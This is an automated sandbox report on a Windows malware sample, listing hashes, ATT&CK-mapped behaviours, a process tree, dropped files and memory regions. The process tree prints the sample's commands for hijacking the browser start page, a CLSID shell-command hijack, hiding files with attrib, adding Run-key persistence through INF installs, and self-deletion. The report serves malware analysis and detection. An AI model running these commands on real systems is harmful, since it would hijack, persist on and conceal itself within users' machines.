Analysis

  • max time kernel
    149s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/08/2024, 21:57

General

  • Target

    a85f8068abb3c2bbcc1920042ec7c722_JaffaCakes118.exe

  • Size

    160KB

  • MD5

    a85f8068abb3c2bbcc1920042ec7c722

  • SHA1

    7e4e4c2e6ffa0bb40376ef21cdb32fd6951a2dd9

  • SHA256

    736f05b1788328c9771754bf22e57b3ceb908ea8bf66a15f7c8da6eeaede8dd4

  • SHA512

    0f411207f1491f4bae7629f81eeda1a895078470f0c4d34d01d9f6a16cd63717b0a04eec56353acfed67bb8fce75096f42d9a20cb360c072c8f5718b3f5a4de6

  • SSDEEP

    1536:YrJmYnTIiOKi/g2ipYB94DPLY6xs/uwpEIxyMrFb4C/sU+3:YdvnJVi/SiB6DHzwpDjrSsu

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 29 IoCs
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a85f8068abb3c2bbcc1920042ec7c722_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a85f8068abb3c2bbcc1920042ec7c722_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4832
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\x5_20_ml.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\dataread\1.bat
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5052
        • C:\PROGRA~1\INTERN~1\iexplore.exe
          C:\PROGRA~1\INTERN~1\IEXPLORE.EXE http://wWW.cnkankan.com/?82133
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4140
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4140 CREDAT:17410 /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:3480
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\dataread\1.inf
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5084
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\dataread\2.bat
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4604
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?o"" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Modifies Internet Explorer start page
            PID:2036
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?o"" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Modifies Internet Explorer start page
            PID:2028
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\tmp" /v "key" /d ""http://www.82133.com/?o"" /f
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5112
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}" /v "IsShortCut" /d "" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:3744
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)\Command" /v "" /d "wscript -e:vbs ""C:\Users\Admin\AppData\Roaming\dataread\3.bat""" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            PID:1468
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h C:\Users\Admin\AppData\Roaming\dataread\tmp\a.{971C5380-92A0-5A69-B3EE-C3002B33309E}
            5⤵
            • Sets file to hidden
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:1856
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h C:\Users\Admin\AppData\Roaming\dataread\tmp
            5⤵
            • Sets file to hidden
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:1204
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\dataread\2.inf
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1976
            • C:\Windows\SysWOW64\runonce.exe
              "C:\Windows\system32\runonce.exe" -r
              6⤵
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious use of WriteProcessMemory
              PID:712
              • C:\Windows\SysWOW64\grpconv.exe
                "C:\Windows\System32\grpconv.exe" -o
                7⤵
                • System Location Discovery: System Language Discovery
                PID:4404
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32 D:\VolumeDH\inj.dat,MainLoad
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3820
    • C:\Users\Admin\AppData\Local\Temp\inlCA62.tmp
      C:\Users\Admin\AppData\Local\Temp\inlCA62.tmp
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:972
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\inlCA62.tmp > nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\A85F80~1.EXE > nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4484

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OD2FK6XO\favicon[1].htm

          Filesize

          802B

          MD5

          b4f7d6a0d3f6605440a1f5574f90a30c

          SHA1

          9d91801562174d73d77f1f10a049c594f969172a

          SHA256

          e3b1510526757baa753c916ababce951be64146e04f74c631c6503531d83c6cd

          SHA512

          c852ff3b51db00184bcfb0d6609a2791cb81efdb0d8d5aaed1c5b9e576b17b19804affe6ea7b5db575179c166543db5dcd828b3fcbd90e8baabb47c166da7c3f

        • C:\Users\Admin\AppData\Local\Temp\360moheInstall.exe

          Filesize

          794B

          MD5

          1bc415b31cdff50d79ea2a3d7b4ff2c1

          SHA1

          f5ebab61deebc3d7a4a6676a23b982f1418ae6a6

          SHA256

          582ea6421c80adc1de2dcb34fb8db1926e34b49219d99306693166a6b268d412

          SHA512

          ee9718e829fa7c6b2e3b208fe99acd390d704a4ad037fd9b5ae231db184f48146792fb1ac028a69224ddca2c3195ef2aa5353ee6bc7abe01157773f4a6e50e84

        • C:\Users\Admin\AppData\Local\Temp\cdf1912.tmp

          Filesize

          645B

          MD5

          4cafe2ab2ae87e0e3a16f6bd99e92437

          SHA1

          45757e5b258e3190ea4d4b092375bded4d5ea4fd

          SHA256

          90896bc5f40509bc3ed86e17cae17da22b4f4ab0e424dc4557b24eccc53429ce

          SHA512

          123a945a361a07a356361e796159406bff31dbfbe68afaa1f22e144dc2b4025d23112844db70e651b9ee41f674d8efb4cd10b23ee4992d9538de7ada6534f2ac

        • C:\Users\Admin\AppData\Local\Temp\x5_20_ml.bat

          Filesize

          55B

          MD5

          6f40aa13b4733d99a56ea538082114a1

          SHA1

          b267129b905c29bf1a74cad85bf6a31e6f5da4c1

          SHA256

          3f7525c06ba96afb5b39c5c84e229448cfe7da22474a6e351111bc13070e7413

          SHA512

          16d5b9f62cbff8063f9a1db44eb77e9981d659deb6b96603d9fa9365455ad41d6934d386c7740c4c53afa85b9a839b8a0d43db76090f125c9950fba608b3ab8c

        • C:\Users\Admin\AppData\Roaming\dataread\1.bat

          Filesize

          3KB

          MD5

          b21e4f653320b34a01a860b1cf00c861

          SHA1

          3de8c41f014512ec793c3452b3c96f832644b0f0

          SHA256

          29a23c064b35e49d619825b67bf8b01ad6ba4c65e50e167bd69416cdca92d4bf

          SHA512

          6f791ca6c1929779e8c72b4c5c3ec79c8bd134845679e17915a4758a03b847efe5454fefe3af8be1eb17277ba73612d1534d09734c171f82b7ac351893cd8d9c

        • C:\Users\Admin\AppData\Roaming\dataread\1.inf

          Filesize

          410B

          MD5

          66a1f0147fed7ddd19e9bb7ff93705c5

          SHA1

          9d803c81ea2195617379b880b227892ba30b0bf6

          SHA256

          4f45ce85e221352f7fe26e04968c7f7267dc24b55cf2b72b929b4c90e48cb764

          SHA512

          cfe51756ddec75d240249980a4d27870d15983add25058e4d0da4d8a3ea11384d4d228d6cbc95091f91e516e1ab4dfb1e315941dbd95bf717d4b31936311d597

        • C:\Users\Admin\AppData\Roaming\dataread\2.bat

          Filesize

          3KB

          MD5

          6b78cb8ced798ca5df5612dd62ce0965

          SHA1

          5a9c299393b96b0bf8f6770e3c7b0318a9e2e0cf

          SHA256

          81f64f42edfac2863a55db8fabd528c4eefc67f7e658cad6a57eeec862e444e3

          SHA512

          b387ba10021f3284d1406d520a2c8b3ba0c87922d67c79394c1aa50c631194519ac6bb5b898956533f040d48e1c7b202734e0075f8fc8c8bfab82c8ef359b28e

        • C:\Users\Admin\AppData\Roaming\dataread\2.inf

          Filesize

          249B

          MD5

          ddf8482343b38e425558a5ea06c99cdb

          SHA1

          1109e4d5ef572915cafa82327d4537696d746e53

          SHA256

          c054ba607ea2db904ef8bf8ab83a4e68dbf32c1b41cfd6e71fd550e886f44de7

          SHA512

          aacdc2702b58cbcbb73d11dc73c09caa84cbbc50438cbdaf46557ba38249b881bbe08487341a2deec5372b742b7055e8633f7f5008808a713c0f9611c8809e7b

        • C:\Users\Admin\AppData\Roaming\dataread\4.bat

          Filesize

          5.8MB

          MD5

          47b44f9349c1db06f5b58de65b371453

          SHA1

          77119f0825a555d502a36c26917592feb3b0015f

          SHA256

          530e6c01eb58ffa007c1c1ea3df6e6c21e2b6d2c2a2d16cb91f39cd16ba3f70a

          SHA512

          ff41af45cb75f7a955e0670222eabc70cb8847e5e39dffc0f01bc099de54c539f1cf1b01bf761e8c68308092b477beea5d84d4a28e741a8496877a3a179282b8

        • memory/4140-68-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-61-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-74-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-80-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-85-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-84-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-87-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-90-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-89-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-95-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-94-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-96-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-97-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-88-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-86-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-83-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-82-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-78-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-76-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-72-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-70-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-71-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-67-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-66-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-64-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-73-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-60-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-59-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-58-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-99-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-104-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-62-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-113-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-115-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-112-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-110-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-111-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-63-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-109-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-52-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-161-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-156-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-56-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-152-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-154-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-153-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-158-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-159-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4140-157-0x00007FFBA7C80000-0x00007FFBA7CEE000-memory.dmp

          Filesize

          440KB

        • memory/4832-137-0x0000000000400000-0x0000000000428000-memory.dmp

          Filesize

          160KB

        • memory/4832-8-0x0000000000400000-0x0000000000428000-memory.dmp

          Filesize

          160KB

        • memory/4832-0-0x0000000000400000-0x0000000000428000-memory.dmp

          Filesize

          160KB